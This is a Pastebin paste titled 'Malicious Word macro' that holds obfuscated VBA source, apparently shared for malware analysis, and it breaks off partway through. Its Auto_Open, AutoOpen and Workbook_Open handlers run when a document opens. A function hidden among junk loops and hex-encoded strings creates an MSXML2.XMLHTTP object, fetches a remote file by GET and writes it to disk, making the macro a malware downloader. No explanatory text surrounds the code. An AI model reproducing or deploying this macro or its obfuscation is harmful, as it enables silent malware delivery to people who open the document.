SHARE
TWEET

Malicious Word macro

dynamoo Nov 12th, 2014 230 Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
  1. Attribute VB_Name = "ThisDocument"
  2. Attribute VB_Base = "1Normal.ThisDocument"
  3. Attribute VB_GlobalNameSpace = False
  4. Attribute VB_Creatable = False
  5. Attribute VB_PredeclaredId = True
  6. Attribute VB_Exposed = True
  7. Attribute VB_TemplateDerived = True
  8. Attribute VB_Customizable = True
  9. Sub Auto_Open()
  10. Dim ShQZEKpo, VwcTyYdl, pApIUlhR As String
  11. Dim zlXRUOUA As Integer
  12. For zlXRUOUA = 0 To 7
  13. Dim fuisHauT, ZCdGXSlf, tiAOTpaI As String
  14. fuisHauT = HexToString("20202020202020202020204353524C5451202020202020202020202020202020")
  15. ZCdGXSlf = LTrim(fuisHauT)
  16. tiAOTpaI = RTrim(ZCdGXSlf)
  17.  
  18. DoEvents
  19. Next zlXRUOUA
  20. Dim LKdTEvnR, yVBItdEG, rIZmegpg As String
  21. LKdTEvnR = HexToString("202020202020202020202057554D424546202020202020202020202020202020")
  22. yVBItdEG = LTrim(LKdTEvnR)
  23. rIZmegpg = RTrim(yVBItdEG)
  24.  
  25. ShQZEKpo = HexToString("2020202020202020202020565251594B4A202020202020202020202020202020")
  26. Dim spiTjcal As Integer
  27. For spiTjcal = 0 To 3
  28. Dim CKnkTWxn, KLPENNLA, FLMGmrjZ As String
  29. CKnkTWxn = HexToString("202020202020202020202054504746554A202020202020202020202020202020")
  30. KLPENNLA = LTrim(CKnkTWxn)
  31. FLMGmrjZ = RTrim(KLPENNLA)
  32.  
  33. DoEvents
  34. Next spiTjcal
  35. Dim jMDMXwjN, XGmgpHiJ, FysNNCcm As String
  36. jMDMXwjN = HexToString("2020202020202020202020434650434D58202020202020202020202020202020")
  37. XGmgpHiJ = LTrim(jMDMXwjN)
  38. FysNNCcm = RTrim(XGmgpHiJ)
  39.  
  40. VwcTyYdl = LTrim(ShQZEKpo)
  41. Dim FJkQyQfv As Integer
  42. For FJkQyQfv = 0 To 2
  43. Dim hmDOzzcV, RqLdiDOY, uwiuJqlN As String
  44. hmDOzzcV = HexToString("2020202020202020202020564C4D545151202020202020202020202020202020")
  45. RqLdiDOY = LTrim(hmDOzzcV)
  46. uwiuJqlN = RTrim(RqLdiDOY)
  47.  
  48. DoEvents
  49. Next FJkQyQfv
  50. Dim LkSEFNBx, yvvYhFeU, kRqOKAyK As String
  51. LkSEFNBx = HexToString("2020202020202020202020574D5556495A202020202020202020202020202020")
  52. yvvYhFeU = LTrim(LkSEFNBx)
  53. kRqOKAyK = RTrim(yvvYhFeU)
  54.  
  55. pApIUlhR = RTrim(VwcTyYdl)
  56.  
  57. Dim fXmADZxW As Integer
  58. For fXmADZxW = 0 To 6
  59. Dim ViVfkYNf, LoobSPxg, GplQuGMj As String
  60. ViVfkYNf = HexToString("2020202020202020202020544B41534150202020202020202020202020202020")
  61. LoobSPxg = LTrim(ViVfkYNf)
  62. GplQuGMj = RTrim(LoobSPxg)
  63.  
  64. DoEvents
  65. Next fXmADZxW
  66. Dim AtpCirKl, uNKkmbOq, BjIesYVF As String
  67. AtpCirKl = HexToString("20202020202020202020205A4C57424244202020202020202020202020202020")
  68. uNKkmbOq = LTrim(AtpCirKl)
  69. BjIesYVF = RTrim(uNKkmbOq)
  70.  
  71. IGUCOBOAWDI
  72. End Sub
  73. Sub AutoOpen()
  74. Dim dUBfFTFi, iIoboOso, rOlQZFOq As String
  75. Dim LgGNwveL As Integer
  76. For LgGNwveL = 0 To 5
  77. Dim gqAoQeJe, EaYSHFeQ, KJSjXbgl As String
  78. gqAoQeJe = HexToString("20202020202020202020204346444B4551202020202020202020202020202020")
  79. EaYSHFeQ = LTrim(gqAoQeJe)
  80. KJSjXbgl = RTrim(EaYSHFeQ)
  81.  
  82. DoEvents
  83. Next LgGNwveL
  84. Dim wSaDbwbg, UKDHzoZb, TEjENqoV As String
  85. wSaDbwbg = HexToString("20202020202020202020204F5447454144202020202020202020202020202020")
  86. UKDHzoZb = LTrim(wSaDbwbg)
  87. TEjENqoV = RTrim(UKDHzoZb)
  88.  
  89. dUBfFTFi = HexToString("202020202020202020202044545A53534F202020202020202020202020202020")
  90. Dim eqYUXvkp As Integer
  91. For eqYUXvkp = 0 To 3
  92. Dim NEOGkcZL, WRLaSZNM, JTedyYcW As String
  93. NEOGkcZL = HexToString("202020202020202020202059454D424E59202020202020202020202020202020")
  94. WRLaSZNM = LTrim(NEOGkcZL)
  95. JTedyYcW = RTrim(WRLaSZNM)
  96.  
  97. DoEvents
  98. Next eqYUXvkp
  99. Dim PGNkrnAM, gPUSjWlS, iavcizIh As String
  100. PGNkrnAM = HexToString("20202020202020202020205551484F4342202020202020202020202020202020")
  101. gPUSjWlS = LTrim(PGNkrnAM)
  102. iavcizIh = RTrim(gPUSjWlS)
  103.  
  104. iIoboOso = LTrim(dUBfFTFi)
  105. Dim BTCqDZEg As Integer
  106. For BTCqDZEg = 0 To 6
  107. Dim PyLcltsQ, dkikzZWt, AifWifuD As String
  108. PyLcltsQ = HexToString("2020202020202020202020475841494959202020202020202020202020202020")
  109. dkikzZWt = LTrim(PyLcltsQ)
  110. AifWifuD = RTrim(dkikzZWt)
  111.  
  112. DoEvents
  113. Next BTCqDZEg
  114. Dim xFqKQSyi, IMCWdbol, MNOVGfdE As String
  115. xFqKQSyi = HexToString("20202020202020202020204F544D595557202020202020202020202020202020")
  116. IMCWdbol = LTrim(xFqKQSyi)
  117. MNOVGfdE = RTrim(IMCWdbol)
  118.  
  119. rOlQZFOq = RTrim(iIoboOso)
  120.  
  121. Dim BTWkoGmz As Integer
  122. For BTWkoGmz = 0 To 6
  123. Dim pbKaVipj, ynzdlsYk, ansvDjrl As String
  124. pbKaVipj = HexToString("2020202020202020202020514156544A56202020202020202020202020202020")
  125. ynzdlsYk = LTrim(pbKaVipj)
  126. ansvDjrl = RTrim(ynzdlsYk)
  127.  
  128. DoEvents
  129. Next BTWkoGmz
  130. Dim PHstMmcC, hSMbuGgF, ozPqCXRk As String
  131. PHstMmcC = HexToString("2020202020202020202020555358454B58202020202020202020202020202020")
  132. hSMbuGgF = LTrim(PHstMmcC)
  133. ozPqCXRk = RTrim(hSMbuGgF)
  134.  
  135.     Auto_Open
  136. End Sub
  137. Sub Workbook_Open()
  138. Dim mibzxVwm, BrucOlds, RBGKCFtr As String
  139. Dim RXZIAShB As Integer
  140. For RXZIAShB = 0 To 3
  141. Dim bUuQVPIo, zKwTUikE, jIAoDLEs As String
  142. bUuQVPIo = HexToString("20202020202020202020204F5049465657202020202020202020202020202020")
  143. zKwTUikE = LTrim(bUuQVPIo)
  144. jIAoDLEs = RTrim(zKwTUikE)
  145.  
  146. DoEvents
  147. Next RXZIAShB
  148. Dim XcdtAfzs, iEBirztx, yfZMzrQW As String
  149. XcdtAfzs = HexToString("202020202020202020202058434D535A4F202020202020202020202020202020")
  150. iEBirztx = LTrim(XcdtAfzs)
  151. yfZMzrQW = RTrim(iEBirztx)
  152.  
  153. mibzxVwm = HexToString("20202020202020202020204B50564C4B4B202020202020202020202020202020")
  154. Dim ziNXaAfi As Integer
  155. For ziNXaAfi = 0 To 1
  156. Dim XIFbkptW, KIVQSgZX, DOiCulNV As String
  157. XIFbkptW = HexToString("20202020202020202020205254584B4E42202020202020202020202020202020")
  158. KIVQSgZX = LTrim(XIFbkptW)
  159. DOiCulNV = RTrim(KIVQSgZX)
  160.  
  161. DoEvents
  162. Next ziNXaAfi
  163. Dim aoFfnAwl, YrwIDCds, bmdlRrAG As String
  164. aoFfnAwl = HexToString("2020202020202020202020475750554F42202020202020202020202020202020")
  165. YrwIDCds = LTrim(aoFfnAwl)
  166. bmdlRrAG = RTrim(YrwIDCds)
  167.  
  168. BrucOlds = LTrim(mibzxVwm)
  169. Dim SBFJZsll As Integer
  170. For SBFJZsll = 0 To 2
  171. Dim KZLEPyie, ulBuGJlQ, ORfavget As String
  172. KZLEPyie = HexToString("2020202020202020202020534358455A44202020202020202020202020202020")
  173. ulBuGJlQ = LTrim(KZLEPyie)
  174. ORfavget = RTrim(ulBuGJlQ)
  175.  
  176. DoEvents
  177. Next SBFJZsll
  178. Dim qFqLQZsi, xMCCfhgk, INONGrlZ As String
  179. qFqLQZsi = HexToString("202020202020202020202050485646584F202020202020202020202020202020")
  180. xMCCfhgk = LTrim(qFqLQZsi)
  181. INONGrlZ = RTrim(xMCCfhgk)
  182.  
  183. RBGKCFtr = RTrim(BrucOlds)
  184.  
  185. Dim FvnKOyDC As Integer
  186. For FvnKOyDC = 0 To 2
  187. Dim LjQdGiSV, GkWvpdpB, PltPRjUN As String
  188. LjQdGiSV = HexToString("2020202020202020202020454357515356202020202020202020202020202020")
  189. GkWvpdpB = LTrim(LjQdGiSV)
  190. PltPRjUN = RTrim(GkWvpdpB)
  191.  
  192. DoEvents
  193. Next FvnKOyDC
  194. Dim aFYflHvr, YOfOYqhW, bNtlckRv As String
  195. aFYflHvr = HexToString("2020202020202020202020475159555459202020202020202020202020202020")
  196. YOfOYqhW = LTrim(aFYflHvr)
  197. bNtlckRv = RTrim(YOfOYqhW)
  198.  
  199.     Auto_Open
  200. End Sub
  201. Function XBFAPGNWGLM(ByVal TPAOTURPFOP As String, ByVal TVJVKSFDLLP As String) As Boolean
  202.      Dim VITXOMHNZWX As Object, HISBIEKZNOY As Long, IHKQTVUQCZB As Long, ETSVVGEHSOS() As Byte
  203.  
  204. Dim xmccdXhH, BYQjXlBp, fxJWayqK As String
  205. Dim ONouzcZq As Integer
  206. For ONouzcZq = 0 To 3
  207. Dim PPVhaeyl, BbeLyFja, AQkDGsNm As String
  208. PPVhaeyl = HexToString("2020202020202020202020494142585153202020202020202020202020202020")
  209. BbeLyFja = LTrim(PPVhaeyl)
  210. AQkDGsNm = RTrim(BbeLyFja)
  211.  
  212. DoEvents
  213. Next ONouzcZq
  214. Dim QytrriLh, CsJuTWCn, okEpiONP As String
  215. QytrriLh = HexToString("20202020202020202020204A4648514859202020202020202020202020202020")
  216. CsJuTWCn = LTrim(QytrriLh)
  217. okEpiONP = RTrim(CsJuTWCn)
  218.  
  219. xmccdXhH = HexToString("2020202020202020202020495248555441202020202020202020202020202020")
  220. Dim LJcrCbeU As Integer
  221. For LJcrCbeU = 0 To 9
  222. Dim gBYwVzmn, qBJIluKA, yNaMDqhZ As String
  223. gBYwVzmn = HexToString("202020202020202020202046444B484A57202020202020202020202020202020")
  224. qBJIluKA = LTrim(gBYwVzmn)
  225. yNaMDqhZ = RTrim(qBJIluKA)
  226.  
  227. DoEvents
  228. Next LJcrCbeU
  229. Dim MPPHJOIZ, DaAAUHCy, lXoXWqGC As String
  230. MPPHJOIZ = HexToString("2020202020202020202020534F49584A45202020202020202020202020202020")
  231. DaAAUHCy = LTrim(MPPHJOIZ)
  232. lXoXWqGC = RTrim(DaAAUHCy)
  233.  
  234. BYQjXlBp = LTrim(xmccdXhH)
  235. Dim oVWtGldS As Integer
  236. For oVWtGldS = 0 To 8
  237. Dim iplKcCkb, PmUSumNM, BqDjdysZ As String
  238. iplKcCkb = HexToString("20202020202020202020204156464B515A202020202020202020202020202020")
  239. PmUSumNM = LTrim(iplKcCkb)
  240. BqDjdysZ = RTrim(PmUSumNM)
  241.  
  242. DoEvents
  243. Next oVWtGldS
  244. Dim jvWxurjJ, gpvotyXj, AhqsULNA As String
  245. jvWxurjJ = HexToString("20202020202020202020205556514D4A52202020202020202020202020202020")
  246. gpvotyXj = LTrim(jvWxurjJ)
  247. AhqsULNA = RTrim(gpvotyXj)
  248.  
  249. fxJWayqK = RTrim(BYQjXlBp)
  250.  
  251. Dim jyPVwGeN As Integer
  252. For jyPVwGeN = 0 To 9
  253. Dim UtpnKwQQ, EtlSsniS, vyRBYRTD As String
  254. UtpnKwQQ = HexToString("20202020202020202020204348554B4654202020202020202020202020202020")
  255. EtlSsniS = LTrim(UtpnKwQQ)
  256. vyRBYRTD = RTrim(EtlSsniS)
  257.  
  258. DoEvents
  259. Next jyPVwGeN
  260. Dim HkNGJkug, OIHnIvxK, gEvWWLfO As String
  261. HkNGJkug = HexToString("2020202020202020202020504E48574A4D202020202020202020202020202020")
  262. OIHnIvxK = LTrim(HkNGJkug)
  263. gEvWWLfO = RTrim(OIHnIvxK)
  264.  
  265.     Set VITXOMHNZWX = CreateObject(HexToString("4D53584D4C322E584D4C48545450"))
  266.     VITXOMHNZWX.Open HexToString("474554"), TPAOTURPFOP, False
  267. Dim nlWlldfb, SvUxMakP, PpqoKeCo As String
  268. Dim XvpXdzuw As Integer
  269. For XvpXdzuw = 0 To 9
  270. Dim fYoEnSRj, ZxguTcHB, tIZagWbl As String
  271. fYoEnSRj = HexToString("2020202020202020202020434252454345202020202020202020202020202020")
  272. ZxguTcHB = LTrim(fYoEnSRj)
  273. tIZagWbl = RTrim(ZxguTcHB)
  274.  
  275. DoEvents
  276. Next XvpXdzuw
  277. Dim VagOOasc, qiaSsFgU, xfDGDZlK As String
  278. VagOOasc = HexToString("202020202020202020202043535741595A202020202020202020202020202020")
  279. qiaSsFgU = LTrim(VagOOasc)
  280. xfDGDZlK = RTrim(qiaSsFgU)
  281.  
  282. nlWlldfb = HexToString("20202020202020202020205157534C4349202020202020202020202020202020")
  283. Dim fcdOuBbF As Integer
  284. For fcdOuBbF = 0 To 6
  285. Dim PWjWModf, YXnugfOg, AXPlOkuh As String
  286. PWjWModf = HexToString("20202020202020202020204253505A4756202020202020202020202020202020")
  287. YXnugfOg = LTrim(PWjWModf)
  288. AXPlOkuh = RTrim(YXnugfOg)
  289.  
  290. DoEvents
  291. Next fcdOuBbF
  292. Dim fuKoxMCN, uxIMfasE, Qljgnxew As String
  293. fuKoxMCN = HexToString("2020202020202020202020574D5354554F202020202020202020202020202020")
  294. uxIMfasE = LTrim(fuKoxMCN)
  295. Qljgnxew = RTrim(uxIMfasE)
  296.  
  297. SvUxMakP = LTrim(nlWlldfb)
  298. Dim WHhoDDsx As Integer
  299. For WHhoDDsx = 0 To 9
  300. Dim TgTAlwsM, inMweLWg, xjBBiRuC As String
  301. TgTAlwsM = HexToString("202020202020202020202044414D504F46202020202020202020202020202020")
  302. inMweLWg = LTrim(TgTAlwsM)
  303. xjBBiRuC = RTrim(inMweLWg)
  304.  
  305. DoEvents
  306. Next WHhoDDsx
  307. Dim DaKWFCdl, QQwUSBKK, CJiPgDXe As String
  308. DaKWFCdl = HexToString("20202020202020202020204B5350554941202020202020202020202020202020")
  309. QQwUSBKK = LTrim(DaKWFCdl)
  310. CJiPgDXe = RTrim(QQwUSBKK)
  311.  
  312. PpqoKeCo = RTrim(SvUxMakP)
  313.  
  314. Dim HlFjRZes As Integer
  315. For HlFjRZes = 0 To 8
  316. Dim VPUlPPmy, MQJRrGKu, GQzHvLho As String
  317. VPUlPPmy = HexToString("202020202020202020202059594C465053202020202020202020202020202020")
  318. MQJRrGKu = LTrim(VPUlPPmy)
  319. GQzHvLho = RTrim(MQJRrGKu)
  320.  
  321. DoEvents
  322. Next HlFjRZes
  323. Dim ceXDUGyl, jlDvvXmX, XgmLQjdF As String
  324. ceXDUGyl = HexToString("2020202020202020202020414B464D5359202020202020202020202020202020")
  325. jlDvvXmX = LTrim(ceXDUGyl)
  326. XgmLQjdF = RTrim(jlDvvXmX)
  327.  
  328.     VITXOMHNZWX.Send HexToString("676A766B76686C")
  329.  
  330.  
  331. Dim ATdUYIlO, xTxLNSHP, lYYtmJfS As String
  332. Dim VlcjckAj As Integer
  333. For VlcjckAj = 0 To 3
  334. Dim HufbzyvT, lkZlQEiN, UiIVJglI As String
  335. HufbzyvT = HexToString("20202020202020202020204B43514F4E59202020202020202020202020202020")
  336. lkZlQEiN = LTrim(HufbzyvT)
  337. UiIVJglI = RTrim(lkZlQEiN)
  338.  
  339. DoEvents
  340. Next VlcjckAj
  341. Dim HmANTIiz, znfeuwss, gYNyIpgx As String
  342. HmANTIiz = HexToString("20202020202020202020204C575A4F454C202020202020202020202020202020")
  343. znfeuwss = LTrim(HmANTIiz)
  344. gYNyIpgx = RTrim(znfeuwss)
  345.  
  346. ATdUYIlO = HexToString("20202020202020202020204D5249584951202020202020202020202020202020")
  347. Dim qBTFlFUR As Integer
  348. For qBTFlFUR = 0 To 8
  349. Dim DfTXigqx, OgGoZlIv, RhBmCcyb As String
  350. DfTXigqx = HexToString("20202020202020202020204E574B455841202020202020202020202020202020")
  351. OgGoZlIv = LTrim(DfTXigqx)
  352. RhBmCcyb = RTrim(OgGoZlIv)
  353.  
  354. DoEvents
  355. Next qBTFlFUR
  356. Dim TbnKkjqb, qmodRQzj, HjHUJuMo As String
  357. TbnKkjqb = HexToString("2020202020202020202020434C42464741202020202020202020202020202020")
  358. qmodRQzj = LTrim(TbnKkjqb)
  359. HjHUJuMo = RTrim(qmodRQzj)
  360.  
  361. xTxLNSHP = LTrim(ATdUYIlO)
  362. Dim azByVebN As Integer
  363. For azByVebN = 0 To 1
  364. Dim EDdbSbvK, KEleKqPn, mFUCAIlW As String
  365. EDdbSbvK = HexToString("2020202020202020202020525A59415243202020202020202020202020202020")
  366. KEleKqPn = LTrim(EDdbSbvK)
  367. mFUCAIlW = RTrim(KEleKqPn)
  368.  
  369. DoEvents
  370. Next azByVebN
  371. Dim TrHObPwY, EFlxcSzt, HMtbBbth As String
  372. TrHObPwY = HexToString("202020202020202020202046444F414E4D202020202020202020202020202020")
  373. EFlxcSzt = LTrim(TrHObPwY)
  374. HMtbBbth = RTrim(EFlxcSzt)
  375.  
  376. lYYtmJfS = RTrim(xTxLNSHP)
  377.  
  378. Dim HdnzErCy As Integer
  379. For HdnzErCy = 0 To 8
  380. Dim nYqAENFe, wUwDCtsr, kITBkoOt As String
  381. nYqAENFe = HexToString("20202020202020202020204D52494C594D202020202020202020202020202020")
  382. wUwDCtsr = LTrim(nYqAENFe)
  383. kITBkoOt = RTrim(wUwDCtsr)
  384.  
  385. DoEvents
  386. Next HdnzErCy
  387. Dim JVtEjZnt, PgXfiOHI, hpEOmtUb As String
  388. JVtEjZnt = HexToString("202020202020202020202050484C47524E202020202020202020202020202020")
  389. PgXfiOHI = LTrim(JVtEjZnt)
  390. hpEOmtUb = RTrim(PgXfiOHI)
  391.  
  392.     ETSVVGEHSOS = VITXOMHNZWX.responseBody
  393.  
  394. Dim aeVRwHyq, TVYBIqCe, qMflWTGM As String
  395. Dim pORRZdyT As Integer
  396. For pORRZdyT = 0 To 2
  397. Dim DErShlEF, hFlYBJso, RRcptZcJ As String
  398. DErShlEF = HexToString("20202020202020202020204A4959475544202020202020202020202020202020")
  399. hFlYBJso = LTrim(DErShlEF)
  400. RRcptZcJ = RTrim(hFlYBJso)
  401.  
  402. DoEvents
  403. Next pORRZdyT
  404. Dim HYqDLhKz, zSCHmrXd, fKOLCJBx As String
  405. HYqDLhKz = HexToString("20202020202020202020204C414D455050202020202020202020202020202020")
  406. zSCHmrXd = LTrim(HYqDLhKz)
  407. fKOLCJBx = RTrim(zSCHmrXd)
  408.  
  409. aeVRwHyq = HexToString("2020202020202020202020494951554A44202020202020202020202020202020")
  410. Dim GeLEdqeg As Integer
  411. For GeLEdqeg = 0 To 8
  412. Dim CkYqgaSQ, KlHcOtpS, DlNOepUD As String
  413. CkYqgaSQ = HexToString("202020202020202020202054434B50424D202020202020202020202020202020")
  414. KlHcOtpS = LTrim(CkYqgaSQ)
  415. DlNOepUD = RTrim(KlHcOtpS)
  416.  
  417. DoEvents
  418. Next GeLEdqeg
  419. Dim hooDXZcK, WtJopVhP, bNvExluA As String
  420. hooDXZcK = HexToString("2020202020202020202020485148535455202020202020202020202020202020")
  421. WtJopVhP = LTrim(hooDXZcK)
  422. bNvExluA = RTrim(WtJopVhP)
  423.  
  424. TVYBIqCe = LTrim(aeVRwHyq)
  425. Dim TysWLbWP As Integer
  426. For TysWLbWP = 0 To 9
  427. Dim DVhlBrKs, zDmVrGrM, RBOKDdDg As String
  428. DVhlBrKs = HexToString("20202020202020202020204F4955564F53202020202020202020202020202020")
  429. zDmVrGrM = LTrim(DVhlBrKs)
  430. RBOKDdDg = RTrim(zDmVrGrM)
  431.  
  432. DoEvents
  433. Next TysWLbWP
  434. Dim kPjLQTLS, jwMYOUbs, ZAYOqwZx As String
  435. kPjLQTLS = HexToString("202020202020202020202055525859554B202020202020202020202020202020")
  436. jwMYOUbs = LTrim(kPjLQTLS)
  437. ZAYOqwZx = RTrim(jwMYOUbs)
  438.  
  439. qMflWTGM = RTrim(TVYBIqCe)
  440.  
  441. Dim oQcyILmk As Integer
  442. For oQcyILmk = 0 To 6
  443. Dim EkcOvyHK, vlUWLqfL, mlKufgQM As String
  444. EkcOvyHK = HexToString("2020202020202020202020574346435243202020202020202020202020202020")
  445. vlUWLqfL = LTrim(EkcOvyHK)
  446. mlKufgQM = RTrim(vlUWLqfL)
  447.  
  448. DoEvents
  449. Next oQcyILmk
  450. Dim ApRUcXeb, lnmlgeke, BweDAcpM As String
  451. ApRUcXeb = HexToString("20202020202020202020205A58544A554F202020202020202020202020202020")
  452. lnmlgeke = LTrim(ApRUcXeb)
  453. BweDAcpM = RTrim(lnmlgeke)
  454.  
  455.     IHKQTVUQCZB = FreeFile
  456.     Open TVJVKSFDLLP For Binary As #IHKQTVUQCZB
  457. Dim VIIlfXUl, nLCfCljD, GOzJetZw As String
  458. Dim YdglYOLr As Integer
  459. For YdglYOLr = 0 To 9
  460. Dim ZOlBlCSR, tWULzmwB, lPSxuyUU As String
  461. ZOlBlCSR = HexToString("202020202020202020202051514657495A202020202020202020202020202020")
  462. tWULzmwB = LTrim(ZOlBlCSR)
  463. lPSxuyUU = RTrim(tWULzmwB)
  464.  
  465. DoEvents
  466. Next YdglYOLr
  467. Dim KtCrxXMu, rsOuBPVk, hkwpnvaZ As String
  468. KtCrxXMu = HexToString("20202020202020202020204D465351424E202020202020202020202020202020")
  469. rsOuBPVk = LTrim(KtCrxXMu)
  470. hkwpnvaZ = RTrim(rsOuBPVk)
  471.  
  472. VIIlfXUl = HexToString("2020202020202020202020585057595941202020202020202020202020202020")
  473. Dim KLxJAuNl As Integer
  474. For KLxJAuNl = 0 To 5
  475. Dim BsGufJWl, WdBlIWll, HfoReNHw As String
  476. BsGufJWl = HexToString("2020202020202020202020594D43494247202020202020202020202020202020")
  477. WdBlIWll = LTrim(BsGufJWl)
  478. HfoReNHw = RTrim(WdBlIWll)
  479.  
  480. DoEvents
  481. Next KLxJAuNl
  482. Dim EjMqMWGO, osATuhUA, FupNlQvl As String
  483. EjMqMWGO = HexToString("202020202020202020202043464F434548202020202020202020202020202020")
  484. osATuhUA = LTrim(EjMqMWGO)
  485. FupNlQvl = RTrim(osATuhUA)
  486.  
  487. nLCfCljD = LTrim(VIIlfXUl)
  488. Dim zICYoqGF As Integer
  489. For zICYoqGF = 0 To 3
  490. Dim ftGelAxO, ZWWYbdIk, tupnoPkQ As String
  491. ftGelAxO = HexToString("2020202020202020202020435157474D56202020202020202020202020202020")
  492. ZWWYbdIk = LTrim(ftGelAxO)
  493. tupnoPkQ = RTrim(ZWWYbdIk)
  494.  
  495. DoEvents
  496. Next zICYoqGF
  497. Dim kpvTKogd, hMzlHqMS, ZNFwlVCX As String
  498. kpvTKogd = HexToString("202020202020202020202055484E425059202020202020202020202020202020")
  499. hMzlHqMS = LTrim(kpvTKogd)
  500. ZNFwlVCX = RTrim(hMzlHqMS)
  501.  
  502. GOzJetZw = RTrim(nLCfCljD)
  503.  
  504. Dim lSUSfOqp As Integer
  505. For lSUSfOqp = 0 To 4
  506. Dim RRSFkyyo, nTCNSpZp, wTusugNq As String
  507. RRSFkyyo = HexToString("2020202020202020202020584557424158202020202020202020202020202020")
  508. nTCNSpZp = LTrim(RRSFkyyo)
  509. wTusugNq = RTrim(nTCNSpZp)
  510.  
  511. DoEvents
  512. Next lSUSfOqp
  513. Dim lxvyAdcq, dDhJllDF, JICsTFRT As String
  514. lxvyAdcq = HexToString("2020202020202020202020565A45454F4B202020202020202020202020202020")
  515. dDhJllDF = LTrim(lxvyAdcq)
  516. JICsTFRT = RTrim(dDhJllDF)
  517.  
  518.     Put #IHKQTVUQCZB, , ETSVVGEHSOS
  519. Dim XhrvHdSj, iwHAkaGA, lAZRMFKS As String
  520. Dim goGapZEr As Integer
  521. For goGapZEr = 0 To 3
  522. Dim FMziqoIN, eOuSjMMI, TWwYNkEe As String
  523. FMziqoIN = HexToString("20202020202020202020205059414B4847202020202020202020202020202020")
  524. eOuSjMMI = LTrim(FMziqoIN)
  525. TWwYNkEe = RTrim(eOuSjMMI)
  526.  
  527. DoEvents
  528. Next goGapZEr
  529. Dim PLToVCaq, CNksnQtw, oyrgzbiY As String
  530. PLToVCaq = HexToString("2020202020202020202020484945464441202020202020202020202020202020")
  531. CNksnQtw = LTrim(PLToVCaq)
  532. oyrgzbiY = RTrim(CNksnQtw)
  533.  
  534. XhrvHdSj = HexToString("2020202020202020202020584C48574F49202020202020202020202020202020")
  535. Dim YuMPhGra As Integer
  536. For YuMPhGra = 0 To 3
  537. Dim eQssLmiG, BSwcfbTH, MSTOUEeK As String
  538. eQssLmiG = HexToString("2020202020202020202020495549514652202020202020202020202020202020")
  539. BSwcfbTH = LTrim(eQssLmiG)
  540. MSTOUEeK = RTrim(BSwcfbTH)
  541.  
  542. DoEvents
  543. Next YuMPhGra
  544. Dim DeQvQvLu, YlZpZToP, sgpRGaNA As String
  545. DeQvQvLu = HexToString("2020202020202020202020494B4F444656202020202020202020202020202020")
  546. YlZpZToP = LTrim(DeQvQvLu)
  547. sgpRGaNA = RTrim(YlZpZToP)
  548.  
  549. iwHAkaGA = LTrim(XhrvHdSj)
  550. Dim STNFKKJM As Integer
  551. For STNFKKJM = 0 To 7
  552. Dim tNNDvFie, UsfUisJx, XzlqdCet As String
  553. tNNDvFie = HexToString("2020202020202020202020424C52475143202020202020202020202020202020")
  554. UsfUisJx = LTrim(tNNDvFie)
  555. XzlqdCet = RTrim(UsfUisJx)
  556.  
  557. DoEvents
  558. Next STNFKKJM
  559. Dim TbhHpfQD, EqLEihjs, GjTYOemx As String
  560. TbhHpfQD = HexToString("2020202020202020202020465658544C4F202020202020202020202020202020")
  561. EqLEihjs = LTrim(TbhHpfQD)
  562. GjTYOemx = RTrim(EqLEihjs)
  563.  
  564. lAZRMFKS = RTrim(iwHAkaGA)
  565.  
  566. Dim hpcHlfTb As Integer
  567. For hpcHlfTb = 0 To 3
  568. Dim rnDgyHMo, NACnnWkp, WZiDWBGq As String
  569. rnDgyHMo = HexToString("2020202020202020202020494158535747202020202020202020202020202020")
  570. NACnnWkp = LTrim(rnDgyHMo)
  571. WZiDWBGq = RTrim(NACnnWkp)
  572.  
  573. DoEvents
  574. Next hpcHlfTb
  575. Dim jEoDElxl, pMBcmbQX, FGULUMEF As String
  576. jEoDElxl = HexToString("20202020202020202020204354574D5057202020202020202020202020202020")
  577. pMBcmbQX = LTrim(jEoDElxl)
  578. FGULUMEF = RTrim(pMBcmbQX)
  579.  
  580.     Close #IHKQTVUQCZB
  581. Dim ihJfyZrM, rjabbYAW, BkqSMQBX As String
  582. Dim yfIMtlRP As Integer
  583. For yfIMtlRP = 0 To 2
  584. Dim xRWvxekX, BHplynah, fYhXssdV As String
  585. xRWvxekX = HexToString("2020202020202020202020494F5A495054202020202020202020202020202020")
  586. BHplynah = LTrim(xRWvxekX)
  587. fYhXssdV = RTrim(BHplynah)
  588.  
  589. DoEvents
  590. Next yfIMtlRP
  591. Dim rYQUBRsl, hScPnkgE, ZLpDzykF As String
  592. rYQUBRsl = HexToString("20202020202020202020204E5A554E444A202020202020202020202020202020")
  593. hScPnkgE = LTrim(rYQUBRsl)
  594. ZLpDzykF = RTrim(hScPnkgE)
  595.  
  596. ihJfyZrM = HexToString("2020202020202020202020505856534D49202020202020202020202020202020")
  597. Dim RlFgOdeV As Integer
  598. For RlFgOdeV = 0 To 9
  599. Dim knWNuMHl, fAtsABfm, oZgcWeQx As String
  600. knWNuMHl = HexToString("202020202020202020202047414254574A202020202020202020202020202020")
  601. fAtsABfm = LTrim(knWNuMHl)
  602. oZgcWeQx = RTrim(fAtsABfm)
  603.  
  604. DoEvents
  605. Next RlFgOdeV
  606. Dim PlkKJgNi, EPoEIwgQ, iTHVWHyZ As String
  607. PlkKJgNi = HexToString("2020202020202020202020554142434A4C202020202020202020202020202020")
  608. EPoEIwgQ = LTrim(PlkKJgNi)
  609. iTHVWHyZ = RTrim(EPoEIwgQ)
  610.  
  611. rjabbYAW = LTrim(ihJfyZrM)
  612. Dim HtncqYVy As Integer
  613. For HtncqYVy = 0 To 8
  614. Dim FlELEzPn, epOcODXo, TwCklqTZ As String
  615. FlELEzPn = HexToString("2020202020202020202020504C47514251202020202020202020202020202020")
  616. epOcODXo = LTrim(FlELEzPn)
  617. TwCklqTZ = RTrim(epOcODXo)
  618.  
  619. DoEvents
  620. Next HtncqYVy
  621. Dim aKjbVEKp, fVeZnjXm, brGTztBT As String
  622. aKjbVEKp = HexToString("20202020202020202020205A534A4A4446202020202020202020202020202020")
  623. fVeZnjXm = LTrim(aKjbVEKp)
  624. brGTztBT = RTrim(fVeZnjXm)
  625.  
  626. BkqSMQBX = RTrim(rjabbYAW)
  627.  
  628. Dim vkeHzhlI As Integer
  629. For vkeHzhlI = 0 To 7
  630. Dim gchIucKv, pvbMAZhb, yvOyXYDn As String
  631. gchIucKv = HexToString("2020202020202020202020464E50585759202020202020202020202020202020")
  632. pvbMAZhb = LTrim(gchIucKv)
  633. yvOyXYDn = RTrim(pvbMAZhb)
  634.  
  635. DoEvents
  636. Next vkeHzhlI
  637. Dim oTdBbPNS, zXePjJhh, UJQtEdui As String
